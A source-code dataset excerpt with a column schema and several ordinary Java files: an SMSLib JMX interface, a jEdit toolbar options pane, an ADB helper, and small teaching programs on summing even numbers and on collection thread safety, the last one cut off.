blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
7
332
content_id
stringlengths
40
40
detected_licenses
listlengths
0
50
license_type
stringclasses
2 values
repo_name
stringlengths
7
115
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
557 values
visit_date
timestamp[us]
revision_date
timestamp[us]
committer_date
timestamp[us]
github_id
int64
5.85k
684M
โŒ€
star_events_count
int64
0
77.7k
fork_events_count
int64
0
48k
gha_license_id
stringclasses
17 values
gha_event_created_at
timestamp[us]
gha_created_at
timestamp[us]
gha_language
stringclasses
82 values
src_encoding
stringclasses
28 values
language
stringclasses
1 value
is_vendor
bool
1 class
is_generated
bool
2 classes
length_bytes
int64
7
5.41M
extension
stringclasses
11 values
content
stringlengths
7
5.41M
authors
listlengths
1
1
author
stringlengths
0
161
025fe9d73537be81748d10b58dedb6457a41d27f
612c6c772f6424a8e35a90b1aa1bda9a5abc533d
/src/javaEx/inputNumberEven.java
7e8f83b7e40e2216880d7392825088e438e95227
[]
no_license
maengseungju/sampleProject
7bafa708d6a18a381a78037c3d4f7df74875ecf6
e77a71e70bede71dcaceb3f0b6739bbda8140851
refs/heads/master
2023-04-10T06:54:58.148896
2021-03-19T01:17:11
2021-03-19T01:17:11
349,257,879
0
0
null
null
null
null
UTF-8
Java
false
false
647
java
package javaEx; import java.util.Scanner; public class inputNumberEven { public static void main(String[] args) { int num=0, sum = 0; Scanner sc = new Scanner(System.in); System.out.println("์ •์ˆ˜๋ฅผ ์ž…๋ ฅํ•˜์„ธ์š” ๋งˆ์ง€๋ง‰ ์ž…๋ ฅ -1 ๋กœ... "); int count = 0; // ์ž…๋ ฅํ•œ ์ •์ˆ˜๋“ค์˜ ๊ฐฏ์ˆ˜ while(num != -1) { num = sc.nextInt(); if(num %2 == 0) { sum += num; if(count != 0) { System.out.print(" + " + num); }else { System.out.print( num); } count++; } } System.out.println(" = " + sum); sc.close(); } }
[ "seungjumaeng@192.168.1.11" ]
seungjumaeng@192.168.1.11
08942e662d18baea8ad5f7bfdc4038dcd4ededff
ab63de4a359ea0732f9545e1cf8aed71120ed80d
/src/java/org/smslib/smsserver/interfaces/Jmx.java
1b2a9a4795b565020cd8867646ae9a88eedf79ff
[ "Apache-2.0" ]
permissive
ftoure67/smslib
63e29dbf09c0ab9b7e0179eb66412b1f871d48f7
382f5a3167fe805f7e7fb499054d8350adf1ea0a
refs/heads/master
2021-01-23T01:00:44.411807
2017-03-22T18:47:11
2017-03-22T18:47:11
85,857,559
0
0
null
null
null
null
UTF-8
Java
false
false
8,570
java
// SMSLib for Java v3 // A Java API library for sending and receiving SMS via a GSM modem // or other supported gateways. // Web Site: http://www.smslib.org // // Copyright (C) 2002-2008, Thanasis Delenikas, Athens/GREECE. // SMSLib is distributed under the terms of the Apache License version 2.0 // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package org.smslib.smsserver.interfaces; import java.lang.management.ManagementFactory; import java.rmi.registry.LocateRegistry; import java.util.Collection; import java.util.List; import java.util.Properties; import java.util.Vector; import javax.management.MBeanServer; import javax.management.ObjectName; import javax.management.remote.JMXConnectorServer; import javax.management.remote.JMXConnectorServerFactory; import javax.management.remote.JMXServiceURL; import org.smslib.InboundMessage; import org.smslib.OutboundMessage; import org.smslib.Service; import org.smslib.smsserver.AGateway; import org.smslib.smsserver.AInterface; import org.smslib.smsserver.SMSServer; /** * This interface uses JMX for inbound/outbound communication. <br /> * The other end of the jmx communication can add new outbound messages and ask * for inbound messages. Additional, there are some statistic methods for * service inspection. * * @author Sebastian Just */ public class Jmx extends AInterface<Void> { /** Interface for JMX connection */ public interface SMSServerMethodsMBean { /** * Spools the given message and sends it on the next run. * * @param msg * The message to send */ public void addOutboundMessage(OutboundMessage msg); /** * Spools the given messages and send them on the next run. * * @param msgs * The messages to send */ public void addOutboundMessage(Collection<OutboundMessage> msgs); /** * Get all inbound messages since the last call of this method. <br /> * The inbound message spool is deleted after this call! * * @return All new inbound messages */ public Collection<InboundMessage> getInboundMessages(); /** * Get all marked outbound messages since the last call of this method. * <br /> * The message spool is deleted after this call! * * @return List of outbound messaages */ public Collection<OutboundMessage> getMarkedOutboundMessages(); /** * Returns the gateway queue load. * * @see Service#getGatewayQueueLoad() * @return The number of pending messages to be send. */ public int getGatewayQueueLoad(); /** * Returns the inbound message count. * * @see Service#getInboundMessageCount() * @return The number of received messages. */ public int getInboundMessageCount(); /** * Returns the outbound message count. * * @see Service#getOutboundMessageCount() * @return The number of sent messages. */ public int getOutboundMessageCount(); } /** Logic for JMX */ public class SMSServerMethods implements SMSServerMethodsMBean { /* (non-Javadoc) * @see org.smslib.smsserver.interfaces.Jmx.SMSServerMethodsMBean#addOutboundMessage(org.smslib.OutboundMessage) */ public void addOutboundMessage(OutboundMessage msg) { synchronized (Jmx.this.outboundMessages) { Jmx.this.outboundMessages.add(msg); } } /* (non-Javadoc) * @see org.smslib.smsserver.interfaces.Jmx.SMSServerMethodsMBean#addOutboundMessage(java.util.List) */ public void addOutboundMessage(Collection<OutboundMessage> msgs) { synchronized (Jmx.this.outboundMessages) { Jmx.this.outboundMessages.addAll(msgs); } } /* (non-Javadoc) * @see org.smslib.smsserver.interfaces.Jmx.SMSServerMethodsMBean#getInboundMessages() */ public Collection<InboundMessage> getInboundMessages() { synchronized (Jmx.this.inboundMessages) { Collection<InboundMessage> retValue = new Vector<InboundMessage>(); retValue.addAll(Jmx.this.inboundMessages); Jmx.this.inboundMessages.clear(); return retValue; } } /* (non-Javadoc) * @see org.smslib.smsserver.interfaces.Jmx.SMSServerMethodsMBean#getMarkedOutboundMessages() */ public Collection<OutboundMessage> getMarkedOutboundMessages() { synchronized (Jmx.this.markedOutboundMessages) { Collection<OutboundMessage> retValue = new Vector<OutboundMessage>(); retValue.addAll(Jmx.this.markedOutboundMessages); Jmx.this.markedOutboundMessages.clear(); return retValue; } } /* (non-Javadoc) * @see org.smslib.smsserver.interfaces.Jmx.SMSServerMethodsMBean#getGatewayQueueLoad() */ public int getGatewayQueueLoad() { return getService().getGatewayQueueLoad(); } /* (non-Javadoc) * @see org.smslib.smsserver.interfaces.Jmx.SMSServerMethodsMBean#getInboundMessageCount() */ public int getInboundMessageCount() { return getService().getInboundMessageCount(); } /* (non-Javadoc) * @see org.smslib.smsserver.interfaces.Jmx.SMSServerMethodsMBean#getOutboundMessageCount() */ public int getOutboundMessageCount() { return getService().getOutboundMessageCount(); } } /** Local JMX server */ private MBeanServer mbs; /** JMX endpoint */ private SMSServerMethods ssm; /** Glue between JMX and the managed bean */ private ObjectName obn; /** Outbound message spool */ List<OutboundMessage> outboundMessages; /** Inbound message spool */ List<InboundMessage> inboundMessages; /** Spool for marked outbound messages */ List<OutboundMessage> markedOutboundMessages; /** * Creates this interface and initalize the message spools. * * @see AGateway#AGateway(String, Properties, SMSServer) */ public Jmx(String myInterfaceId, Properties myProps, SMSServer myServer, InterfaceTypes myType) { super(myInterfaceId, myProps, myServer, myType); setDescription("JMX based interface."); this.ssm = new SMSServerMethods(); this.outboundMessages = new Vector<OutboundMessage>(); this.inboundMessages = new Vector<InboundMessage>(); this.markedOutboundMessages = new Vector<OutboundMessage>(); } @Override public void CallReceived(String gtwId, String callerId) { // This interface does not handle inbound calls. } /* (non-Javadoc) * @see org.smslib.smsserver.AInterface#MessagesReceived(java.util.Collection) */ @Override public void MessagesReceived(Collection<InboundMessage> msgList) throws Exception { synchronized (this.inboundMessages) { this.inboundMessages.addAll(msgList); } } /* (non-Javadoc) * @see org.smslib.smsserver.AInterface#getMessagesToSend() */ @Override public Collection<OutboundMessage> getMessagesToSend() throws Exception { synchronized (this.outboundMessages) { Collection<OutboundMessage> retValue = new Vector<OutboundMessage>(); retValue.addAll(this.outboundMessages); this.outboundMessages.clear(); return retValue; } } /* (non-Javadoc) * @see org.smslib.smsserver.AInterface#markMessage(org.smslib.OutboundMessage) */ @Override public void markMessage(OutboundMessage msg) throws Exception { synchronized (this.markedOutboundMessages) { this.markedOutboundMessages.add(msg); } } /* (non-Javadoc) * @see org.smslib.smsserver.AInterface#start() */ @Override public void start() throws Exception { LocateRegistry.createRegistry(Integer.parseInt(getProperty("registry_port"))); // Get the platform MBeanServer this.mbs = ManagementFactory.getPlatformMBeanServer(); JMXServiceURL url = new JMXServiceURL(getProperty("url")); JMXConnectorServer connectorServer = JMXConnectorServerFactory.newJMXConnectorServer(url, null, this.mbs); connectorServer.start(); this.obn = new ObjectName(getProperty("object_name")); // Uniquely identify the MBeans and register them with the platform this.mbs.registerMBean(this.ssm, this.obn); getService().getLogger().logInfo("Bound JMX to " + url, null, null); } /* (non-Javadoc) * @see org.smslib.smsserver.AInterface#stop() */ @Override public void stop() throws Exception { if (this.mbs != null) { this.mbs.unregisterMBean(this.obn); } } }
[ "famory.toure@on.nokia.com" ]
famory.toure@on.nokia.com
04cf6176e42f6fbb8910cfe7b10166139bc8ef07
09899717cb540d2341e0c55b49c58011564c40a5
/src/main/java/xyz/repom/jhipster/react/monolithic/config/package-info.java
525e7309845d9bb5bf7f469aef33c8f67af16ef0
[]
no_license
gdoslu/jhipster-react-monolithic-webapp
28c3efc18989d90c5db62e1946277e18e6a6496a
8bbd0603b39d08fbc135f1fb7585169375317e2e
refs/heads/master
2021-01-12T17:58:56.038617
2016-10-03T18:57:29
2016-10-03T18:57:29
69,900,903
1
0
null
null
null
null
UTF-8
Java
false
false
101
java
/** * Spring Framework configuration files. */ package xyz.repom.jhipster.react.monolithic.config;
[ "gokhandoslu@gmail.com" ]
gokhandoslu@gmail.com
17318b616e97dfabfb49acad9d2f5781125dd4e8
4b91bda47aaa554c61bb02654afc39745970b946
/ScreenAll/screenphone/src/main/java/com/fansir/screenphone/devices/AdbTools.java
70f678382a0b1e3b714fef86003634a932696443
[]
no_license
publicAnn/ScreenAll
25b098ff3282a4e66ea1fde1d2d14436793f5215
db9fcba93d74f972806cfedbd8aabe00f08c3e75
refs/heads/master
2023-06-05T22:09:49.031682
2021-06-24T02:55:00
2021-06-24T02:55:00
null
0
0
null
null
null
null
UTF-8
Java
false
false
2,480
java
package com.fansir.screenphone.devices; import com.android.ddmlib.AndroidDebugBridge; import com.android.ddmlib.IDevice; import java.io.File; /** * ADBๅทฅๅ…ท็ฑป * Created by FanSir on 2018-01-26. */ public class AdbTools { private static boolean hasInitAdb = false; //ๆ˜ฏๅฆๅˆๅง‹ๅŒ–็š„ๆ ‡่ฏ† private String adbPath = null; //ADB็š„่ทฏๅพ„ private String adbPlatformTools = "platform-tools"; //platform-tools่ทฏๅพ„ private AndroidDebugBridge mBridge; //ADBๅฏน่ฑก public AdbTools() { boolean success = false; while (!success) { //ๅพช็Žฏๅˆๅง‹ๅŒ–่ฎพๅค‡ success = initAdb(); } } /** * ๅˆๅง‹ๅŒ–ADB */ private boolean initAdb() { boolean success = false; if (!hasInitAdb) { String adbPath = getAdbPath(); if (adbPath != null) { AndroidDebugBridge.init(false); mBridge = AndroidDebugBridge.createBridge(adbPath, true); if (mBridge != null) { //ๅˆๅง‹ๅŒ–ๆˆๅŠŸ success = true; hasInitAdb = true; } //ๅปถๆ—ถ่Žทๅ–adbไฟกๆฏ if (success) { int loopCount = 0; while (mBridge.hasInitialDeviceList() == false) { //ๅพช็Žฏๅˆๅง‹ๅŒ–่ฎพๅค‡ try { Thread.sleep(100); loopCount++; } catch (InterruptedException e) { } if (loopCount > 120) { success = false; break; } } } } } return success; } /** * ่Žทๅ–ADB่ทฏๅพ„ */ private String getAdbPath() { if (adbPath == null) { adbPath = System.getenv("ANDROID_HOME"); if (adbPath != null) { //ๆ นๆฎ็Žฏๅขƒๅ˜้‡่Žทๅ–่ทฏๅพ„ adbPath += File.separator + adbPlatformTools; } else { //่‡ชๅฎšไน‰่ทฏๅพ„ } } adbPath += File.separator + "adb.exe"; return adbPath; } /** * ่Žทๅ–่ฎพๅค‡่ฟžๆŽฅๅˆ—่กจ * * @return ่ฎพๅค‡ๅˆ—่กจ */ public IDevice[] getDevicesList() { IDevice[] devices = null; if (mBridge != null) { devices = mBridge.getDevices(); } return devices; } }
[ "381855657@qq.com" ]
381855657@qq.com
4c003e2c827b09dd7a2edb17b214a6c9160291aa
24d8cf871b092b2d60fc85d5320e1bc761a7cbe2
/jEdit/rev9022-9462/right-branch-9462/org/gjt/sp/jedit/options/ToolBarOptionPane.java
399f6f8f0cba19c530895d5947be4dd208729f04
[]
no_license
joliebig/featurehouse_fstmerge_examples
af1b963537839d13e834f829cf51f8ad5e6ffe76
1a99c1788f0eb9f1e5d8c2ced3892d00cd9449ad
refs/heads/master
2016-09-05T10:24:50.974902
2013-03-28T16:28:47
2013-03-28T16:28:47
9,080,611
3
2
null
null
null
null
UTF-8
Java
false
false
16,802
java
package org.gjt.sp.jedit.options; import javax.swing.border.*; import javax.swing.event.*; import javax.swing.*; import java.awt.event.*; import java.awt.*; import java.net.*; import java.util.*; import org.gjt.sp.jedit.browser.VFSBrowser; import org.gjt.sp.jedit.gui.*; import org.gjt.sp.jedit.*; import org.gjt.sp.util.Log; import org.gjt.sp.util.StandardUtilities; public class ToolBarOptionPane extends AbstractOptionPane { public ToolBarOptionPane() { super("toolbar"); } protected void _init() { setLayout(new BorderLayout()); JPanel panel = new JPanel(new GridLayout(2,1)); showToolbar = new JCheckBox(jEdit.getProperty( "options.toolbar.showToolbar")); showToolbar.setSelected(jEdit.getBooleanProperty("view.showToolbar")); panel.add(showToolbar); panel.add(new JLabel(jEdit.getProperty( "options.toolbar.caption"))); add(BorderLayout.NORTH,panel); String toolbar = jEdit.getProperty("view.toolbar"); StringTokenizer st = new StringTokenizer(toolbar); listModel = new DefaultListModel(); while(st.hasMoreTokens()) { String actionName = st.nextToken(); if(actionName.equals("-")) listModel.addElement(new ToolBarOptionPane.Button("-",null,null,"-")); else { EditAction action = jEdit.getAction(actionName); if(action == null) continue; String label = action.getLabel(); if(label == null) continue; Icon icon; String iconName; if(actionName.equals("-")) { iconName = null; icon = null; } else { iconName = jEdit.getProperty(actionName + ".icon"); if(iconName == null) icon = GUIUtilities.loadIcon("BrokenImage.png"); else { icon = GUIUtilities.loadIcon(iconName); if(icon == null) icon = GUIUtilities.loadIcon("BrokenImage.png"); } } listModel.addElement(new Button(actionName,iconName,icon,label)); } } list = new JList(listModel); list.setSelectionMode(ListSelectionModel.SINGLE_SELECTION); list.addListSelectionListener(new ListHandler()); list.setCellRenderer(new ButtonCellRenderer()); add(BorderLayout.CENTER,new JScrollPane(list)); JPanel buttons = new JPanel(); buttons.setBorder(new EmptyBorder(3,0,0,0)); buttons.setLayout(new BoxLayout(buttons,BoxLayout.X_AXIS)); ActionHandler actionHandler = new ActionHandler(); add = new RolloverButton(GUIUtilities.loadIcon("Plus.png")); add.setToolTipText(jEdit.getProperty("options.toolbar.add")); add.addActionListener(actionHandler); buttons.add(add); buttons.add(Box.createHorizontalStrut(6)); remove = new RolloverButton(GUIUtilities.loadIcon("Minus.png")); remove.setToolTipText(jEdit.getProperty("options.toolbar.remove")); remove.addActionListener(actionHandler); buttons.add(remove); buttons.add(Box.createHorizontalStrut(6)); moveUp = new RolloverButton(GUIUtilities.loadIcon("ArrowU.png")); moveUp.setToolTipText(jEdit.getProperty("options.toolbar.moveUp")); moveUp.addActionListener(actionHandler); buttons.add(moveUp); buttons.add(Box.createHorizontalStrut(6)); moveDown = new RolloverButton(GUIUtilities.loadIcon("ArrowD.png")); moveDown.setToolTipText(jEdit.getProperty("options.toolbar.moveDown")); moveDown.addActionListener(actionHandler); buttons.add(moveDown); buttons.add(Box.createHorizontalStrut(6)); edit = new RolloverButton(GUIUtilities.loadIcon("ButtonProperties.png")); edit.setToolTipText(jEdit.getProperty("options.toolbar.edit")); edit.addActionListener(actionHandler); buttons.add(edit); buttons.add(Box.createGlue()); updateButtons(); add(BorderLayout.SOUTH,buttons); iconList = new DefaultComboBoxModel(); st = new StringTokenizer(jEdit.getProperty("icons")); while(st.hasMoreElements()) { String icon = st.nextToken(); iconList.addElement(new IconListEntry( GUIUtilities.loadIcon(icon),icon)); } } protected void _save() { jEdit.setBooleanProperty("view.showToolbar",showToolbar .isSelected()); StringBuffer buf = new StringBuffer(); for(int i = 0; i < listModel.getSize(); i++) { if(i != 0) buf.append(' '); Button button = (Button)listModel.elementAt(i); buf.append(button.actionName); jEdit.setProperty(button.actionName + ".icon",button.iconName); } jEdit.setProperty("view.toolbar",buf.toString()); } private JCheckBox showToolbar; private DefaultListModel listModel; private JList list; private RolloverButton add; private RolloverButton remove; private RolloverButton moveUp, moveDown; private RolloverButton edit; private DefaultComboBoxModel iconList; private void updateButtons() { int index = list.getSelectedIndex(); remove.setEnabled(index != -1 && listModel.getSize() != 0); moveUp.setEnabled(index > 0); moveDown.setEnabled(index != -1 && index != listModel.getSize() - 1); edit.setEnabled(index != -1); } static class ButtonCompare implements Comparator { public int compare(Object obj1, Object obj2) { return StandardUtilities.compareStrings( ((Button)obj1).label, ((Button)obj2).label, true); } } static class Button { String actionName; String iconName; Icon icon; String label; Button(String actionName, String iconName, Icon icon, String label) { this.actionName = actionName; this.iconName = iconName; this.icon = icon; this.label = GUIUtilities.prettifyMenuLabel(label); } public String toString() { return label; } public boolean equals(Object o) { if(o instanceof Button) return ((Button)o).actionName.equals(actionName); else return false; } } static class IconListEntry { Icon icon; String name; IconListEntry(Icon icon, String name) { this.icon = icon; this.name = name; } public String toString() { return name; } } static class ButtonCellRenderer extends DefaultListCellRenderer { public Component getListCellRendererComponent(JList list, Object value, int index, boolean isSelected, boolean cellHasFocus) { super.getListCellRendererComponent(list,value,index, isSelected,cellHasFocus); Button button = (Button)value; setIcon(button.icon); return this; } } static class IconCellRenderer extends DefaultListCellRenderer { public Component getListCellRendererComponent(JList list, Object value, int index, boolean isSelected, boolean cellHasFocus) { super.getListCellRendererComponent(list,value,index, isSelected,cellHasFocus); IconListEntry icon = (IconListEntry)value; setIcon(icon.icon); return this; } } class ActionHandler implements ActionListener { public void actionPerformed(ActionEvent evt) { Object source = evt.getSource(); if(source == add) { ToolBarEditDialog dialog = new ToolBarEditDialog( ToolBarOptionPane.this,iconList,null); Button selection = dialog.getSelection(); if(selection == null) return; int index = list.getSelectedIndex(); if(index == -1) index = listModel.getSize(); else index++; listModel.insertElementAt(selection,index); list.setSelectedIndex(index); list.ensureIndexIsVisible(index); } else if(source == remove) { int index = list.getSelectedIndex(); listModel.removeElementAt(index); if(listModel.getSize() != 0) { if(listModel.getSize() == index) list.setSelectedIndex(index-1); else list.setSelectedIndex(index); } updateButtons(); } else if(source == moveUp) { int index = list.getSelectedIndex(); Object selected = list.getSelectedValue(); listModel.removeElementAt(index); listModel.insertElementAt(selected,index-1); list.setSelectedIndex(index-1); list.ensureIndexIsVisible(index-1); } else if(source == moveDown) { int index = list.getSelectedIndex(); Object selected = list.getSelectedValue(); listModel.removeElementAt(index); listModel.insertElementAt(selected,index+1); list.setSelectedIndex(index+1); list.ensureIndexIsVisible(index+1); } else if(source == edit) { ToolBarEditDialog dialog = new ToolBarEditDialog( ToolBarOptionPane.this,iconList, (Button)list.getSelectedValue()); Button selection = dialog.getSelection(); if(selection == null) return; int index = list.getSelectedIndex(); listModel.setElementAt(selection,index); list.setSelectedIndex(index); list.ensureIndexIsVisible(index); } } } class ListHandler implements ListSelectionListener { public void valueChanged(ListSelectionEvent evt) { updateButtons(); } } } class ToolBarEditDialog extends EnhancedDialog { public ToolBarEditDialog(Component comp, DefaultComboBoxModel iconListModel, ToolBarOptionPane.Button current) { super(GUIUtilities.getParentDialog(comp), jEdit.getProperty("options.toolbar.edit.title"), true); JPanel content = new JPanel(new BorderLayout()); content.setBorder(new EmptyBorder(12,12,12,12)); setContentPane(content); ActionHandler actionHandler = new ActionHandler(); ButtonGroup grp = new ButtonGroup(); JPanel typePanel = new JPanel(new GridLayout(3,1,6,6)); typePanel.setBorder(new EmptyBorder(0,0,6,0)); typePanel.add(new JLabel( jEdit.getProperty("options.toolbar.edit.caption"))); separator = new JRadioButton(jEdit.getProperty("options.toolbar" + ".edit.separator")); separator.addActionListener(actionHandler); grp.add(separator); typePanel.add(separator); action = new JRadioButton(jEdit.getProperty("options.toolbar" + ".edit.action")); action.addActionListener(actionHandler); grp.add(action); typePanel.add(action); content.add(BorderLayout.NORTH,typePanel); JPanel actionPanel = new JPanel(new BorderLayout(6,6)); ActionSet[] actionsList = jEdit.getActionSets(); Vector vec = new Vector(actionsList.length); for(int i = 0; i < actionsList.length; i++) { ActionSet actionSet = actionsList[i]; if(actionSet.getActionCount() != 0) vec.addElement(actionSet); } combo = new JComboBox(vec); combo.addActionListener(actionHandler); actionPanel.add(BorderLayout.NORTH,combo); list = new JList(); list.setVisibleRowCount(8); list.setSelectionMode(ListSelectionModel.SINGLE_SELECTION); actionPanel.add(BorderLayout.CENTER,new JScrollPane(list)); JPanel iconPanel = new JPanel(new BorderLayout(0,3)); JPanel labelPanel = new JPanel(new GridLayout(2,1)); labelPanel.setBorder(new EmptyBorder(0,0,0,12)); JPanel compPanel = new JPanel(new GridLayout(2,1)); grp = new ButtonGroup(); labelPanel.add(builtin = new JRadioButton(jEdit.getProperty( "options.toolbar.edit.builtin"))); builtin.addActionListener(actionHandler); grp.add(builtin); labelPanel.add(file = new JRadioButton(jEdit.getProperty( "options.toolbar.edit.file"))); grp.add(file); file.addActionListener(actionHandler); iconPanel.add(BorderLayout.WEST,labelPanel); builtinCombo = new JComboBox(iconListModel); builtinCombo.setRenderer(new ToolBarOptionPane.IconCellRenderer()); compPanel.add(builtinCombo); fileButton = new JButton(jEdit.getProperty("options.toolbar.edit.no-icon")); fileButton.setMargin(new Insets(1,1,1,1)); fileButton.setIcon(GUIUtilities.loadIcon("Blank24.gif")); fileButton.setHorizontalAlignment(SwingConstants.LEFT); fileButton.addActionListener(actionHandler); compPanel.add(fileButton); iconPanel.add(BorderLayout.CENTER,compPanel); actionPanel.add(BorderLayout.SOUTH,iconPanel); content.add(BorderLayout.CENTER,actionPanel); JPanel southPanel = new JPanel(); southPanel.setLayout(new BoxLayout(southPanel,BoxLayout.X_AXIS)); southPanel.setBorder(new EmptyBorder(12,0,0,0)); southPanel.add(Box.createGlue()); ok = new JButton(jEdit.getProperty("common.ok")); ok.addActionListener(actionHandler); getRootPane().setDefaultButton(ok); southPanel.add(ok); southPanel.add(Box.createHorizontalStrut(6)); cancel = new JButton(jEdit.getProperty("common.cancel")); cancel.addActionListener(actionHandler); southPanel.add(cancel); southPanel.add(Box.createGlue()); content.add(BorderLayout.SOUTH,southPanel); if(current == null) { action.setSelected(true); builtin.setSelected(true); updateList(); } else { if(current.actionName.equals("-")) { separator.setSelected(true); builtin.setSelected(true); } else { action.setSelected(true); ActionSet set = jEdit.getActionSetForAction( current.actionName); combo.setSelectedItem(set); updateList(); list.setSelectedValue(current,true); if(MiscUtilities.isURL(current.iconName)) { file.setSelected(true); fileIcon = current.iconName; try { fileButton.setIcon(new ImageIcon(new URL( fileIcon))); } catch(MalformedURLException mf) { Log.log(Log.ERROR,this,mf); } fileButton.setText(MiscUtilities.getFileName(fileIcon)); } else { String iconName = MiscUtilities.getFileName(current.iconName); builtin.setSelected(true); ListModel model = builtinCombo.getModel(); for(int i = 0; i < model.getSize(); i++) { ToolBarOptionPane.IconListEntry entry = (ToolBarOptionPane.IconListEntry) model.getElementAt(i); if(entry.name.equals(iconName)) { builtinCombo.setSelectedIndex(i); break; } } } } } updateEnabled(); pack(); setLocationRelativeTo(GUIUtilities.getParentDialog(comp)); setVisible(true); } public void ok() { isOK = true; dispose(); } public void cancel() { dispose(); } public ToolBarOptionPane.Button getSelection() { if(!isOK) return null; if(separator.isSelected()) return new ToolBarOptionPane.Button("-",null,null,"-"); else { Icon icon; String iconName; if(builtin.isSelected()) { ToolBarOptionPane.IconListEntry selectedIcon = (ToolBarOptionPane.IconListEntry) builtinCombo.getSelectedItem(); icon = selectedIcon.icon; iconName = selectedIcon.name; } else { icon = fileButton.getIcon(); iconName = fileIcon; if(iconName == null) iconName = "Blank24.gif"; } String label; String actionName; if(action.isSelected()) { ToolBarOptionPane.Button button = (ToolBarOptionPane.Button)list .getSelectedValue(); label = button.label; actionName = button.actionName; } else throw new InternalError(); return new ToolBarOptionPane.Button(actionName, iconName,icon,label); } } private boolean isOK; private JRadioButton separator, action; private JComboBox combo; private JList list; private JRadioButton builtin; private JComboBox builtinCombo; private JRadioButton file; private JButton fileButton; private String fileIcon; private JButton ok, cancel; private void updateEnabled() { combo.setEnabled(action.isSelected()); list.setEnabled(action.isSelected()); boolean iconControlsEnabled = !separator.isSelected(); builtin.setEnabled(iconControlsEnabled); file.setEnabled(iconControlsEnabled); builtinCombo.setEnabled(iconControlsEnabled && builtin.isSelected()); fileButton.setEnabled(iconControlsEnabled && file.isSelected()); } private void updateList() { ActionSet actionSet = (ActionSet)combo.getSelectedItem(); EditAction[] actions = actionSet.getActions(); Vector listModel = new Vector(actions.length); for(int i = 0; i < actions.length; i++) { EditAction action = actions[i]; String label = action.getLabel(); if(label == null) continue; listModel.addElement(new ToolBarOptionPane.Button( action.getName(),null,null,label)); } Collections.sort(listModel,new ToolBarOptionPane.ButtonCompare()); list.setListData(listModel); } class ActionHandler implements ActionListener { public void actionPerformed(ActionEvent evt) { Object source = evt.getSource(); if(source instanceof JRadioButton) updateEnabled(); if(source == ok) ok(); else if(source == cancel) cancel(); else if(source == combo) updateList(); else if(source == fileButton) { String directory; if(fileIcon == null) directory = null; else directory = MiscUtilities.getParentOfPath(fileIcon); String[] paths = GUIUtilities.showVFSFileDialog(null,directory, VFSBrowser.OPEN_DIALOG,false); if(paths == null) return; fileIcon = "file:" + paths[0]; try { fileButton.setIcon(new ImageIcon(new URL( fileIcon))); } catch(MalformedURLException mf) { Log.log(Log.ERROR,this,mf); } fileButton.setText(MiscUtilities.getFileName(fileIcon)); } } } }
[ "joliebig@fim.uni-passau.de" ]
joliebig@fim.uni-passau.de
260048afe62dda6035e77940e7f6d4388d949308
97bb14104f7fcf71a9d3078e05d8c2dc7da824e9
/src/main/java/com/wanshi/interview/thread/list/ContainerNotSafeDemo.java
1b9623e981df27f76e83d866b1d93ce6b5169d2a
[]
no_license
wanshi11/juc_jvm
eca09543a4fda57aa1e5307777033d77378d0dfc
ea4aa86bde234b706d34787f0e4006626d4226d6
refs/heads/master
2023-02-13T11:45:04.442073
2021-01-12T01:17:05
2021-01-12T01:17:05
328,835,756
0
0
null
null
null
null
UTF-8
Java
false
false
3,435
java
package com.wanshi.interview.thread.list; import java.util.*; import java.util.concurrent.CopyOnWriteArrayList; import java.util.concurrent.CopyOnWriteArraySet; /* * ้›†ๅˆ็ฑปไธๅฎ‰ๅ…จ้—ฎ้ข˜:ๅŽŸๅ› ๆ˜ฏไธบไบ†ไฟ่ฏๅนถๅ‘ๆ€ง๏ผŒaddๆ“ไฝœๆฒกๆœ‰ๅŠ ้” * ArrayList * */ public class ContainerNotSafeDemo { public static void main(String[] args){ mapNotSafe(); } private static void mapNotSafe() { // Map<String,String> map = new HashMap<>(); // Map<String,String> map = new ConcurrentHashMap<>(); Map<String,String> map = Collections.synchronizedMap(new HashMap<>()); for(int i=1;i<=30;i++){ new Thread(()->{ map.put(Thread.currentThread().getName(), UUID.randomUUID().toString().substring(0,8)); System.out.println(map); },String.valueOf(i)).start(); } // new HashMap<>(); ๅนถๅ‘ๅ†™ไนŸไผšๅผ•ๅ‘ java.util.ConcurrentModificationException ้—ฎ้ข˜ } private static void setNotSafe() { Set<String> set = new HashSet<>(); // Set<String> set = Collections.synchronizedSet(new HashSet<>()); // Set<String> set = new CopyOnWriteArraySet<>(); for(int i=1;i<=30;i++){ new Thread(()->{ set.add(UUID.randomUUID().toString().substring(0,8)); System.out.println(set); },String.valueOf(i)).start(); } new HashSet<>().add("a"); // new HashSet<>() ๅนถๅ‘ๅ†™ไนŸไผšๅผ•ๅ‘ java.util.ConcurrentModificationException ้—ฎ้ข˜ } //ๅคš่ฟ่กŒๅ‡ ๆฌก private static void listNotSafe() { // List<String> list = new ArrayList<>(); //List<String> list = new Vector<>(); //ๅŠ ไบ† synchronized ๏ผŒๅนถๅ‘้™ไฝŽ // List<String> list = Collections.synchronizedList(new ArrayList<>()); List<String> list = new CopyOnWriteArrayList<>(); for(int i=1;i<=30;i++){ new Thread(()->{ list.add(UUID.randomUUID().toString().substring(0,8)); System.out.println(list); },String.valueOf(i)).start(); } //java.util.ConcurrentModificationException /* * 1 ๆ•…้šœ็Žฐ่ฑก * java.util.ConcurrentModificationException * * 2 ๅฏผ่‡ดๅŽŸๅ›  * ๅนถๅ‘ไบ‰ๆŠขไฟฎๆ”นๅฏผ่‡ด๏ผŒๅ‚่€ƒๆˆ‘ไปฌ็š„่Šฑๅๅ†Œ็ญพๅๆƒ…ๅ†ตใ€‚ * ไธ€ไธชไบบๆญฃๅœจๅ†™ๅ…ฅ๏ผŒๅฆไธ€ไธชๅŒๅญฆ่ฟ‡ๆฅๆŠขๅคบ๏ผŒๅฏผ่‡ดๆ•ฐๆฎไธไธ€่‡ดๅผ‚ๅธธใ€‚ๅนถๅ‘ไฟฎๆ”นๅผ‚ๅธธใ€‚ * 3 ่งฃๅ†ณๆ–นๆกˆ * 3.1 new Vector<>(); * 3.2 Collections.synchronizedList(new ArrayList<>()); * 3.3 new CopyOnWriteArrayList<>() * ๅ†™ๆ—ถๅคๅˆถ * 